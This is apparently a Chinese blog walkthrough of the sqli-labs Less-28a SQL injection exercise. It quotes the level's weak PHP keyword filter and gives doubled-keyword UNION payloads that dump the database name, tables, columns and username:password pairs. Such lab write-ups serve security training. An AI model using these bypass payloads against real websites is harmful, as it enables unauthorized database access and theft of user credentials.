sqli-labs-Less-28a

SQLI-LAPS 实验记录

Less-28a

这一关给出的提示信息显示仅对'UNION'以及'SELECT'字符串进行了过滤,相比上一关,难度要降低了一些,我们只需要使用双写绕过的方式就可以应对。

php 复制代码
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
0') union%09union selectselect 1,2,3 and ('1')=('1

结果如图所示,可以看到页面成功返回信息,我们就可以在回显位进行修改,以查找对应的数据库名、表名、列名及其他数据。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0') union%09union selectselect 1,database(),3 and ('1')=('1
  • 查找表名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and ('1')=('1
  • 查找列名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and ('1')=('1

    查找其他数据:

    php 复制代码
    0') union%09union selectselect 1,(select concat(username,':',password) from security.users where (id=1)),3 and ('1')=('1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
XLYcmy3 分钟前
智能体大赛 目录
数据库·ai·llm·prompt·agent·检索·万方
盟接之桥9 分钟前
盟接之桥EDI软件:API数据采集模块深度解析,打造企业数据协同新引擎
java·运维·服务器·网络·数据库·人工智能·制造
闲人编程1 小时前
内存数据库性能调优
数据库·redis·字符串·高并发·哈希·内存碎片
l1t2 小时前
DeepSeek总结的PostgreSQL 19新功能:第一部分
数据库·postgresql
The_Uniform_C@t23 小时前
论文浅读(第三期)|摘自《UAV Resilience Against Stealthy Attacks》(第一节)
网络·物联网·学习·网络安全
青衫码上行4 小时前
高频 SQL 50题(基础版)| 查询 + 连接
数据库·sql·学习·mysql
黄金龙PLUS4 小时前
高级加密标准算法AES
网络安全·密码学·哈希算法·同态加密
Anastasiozzzz4 小时前
阿亮随手记:动态条件生成Bean
java·前端·数据库
iameyama4 小时前
python Pandas 开发
数据库
Highcharts.js5 小时前
数据之美:用Highcharts打造专业级弧线图
javascript·数据库·highcharts·图表开发·弧线图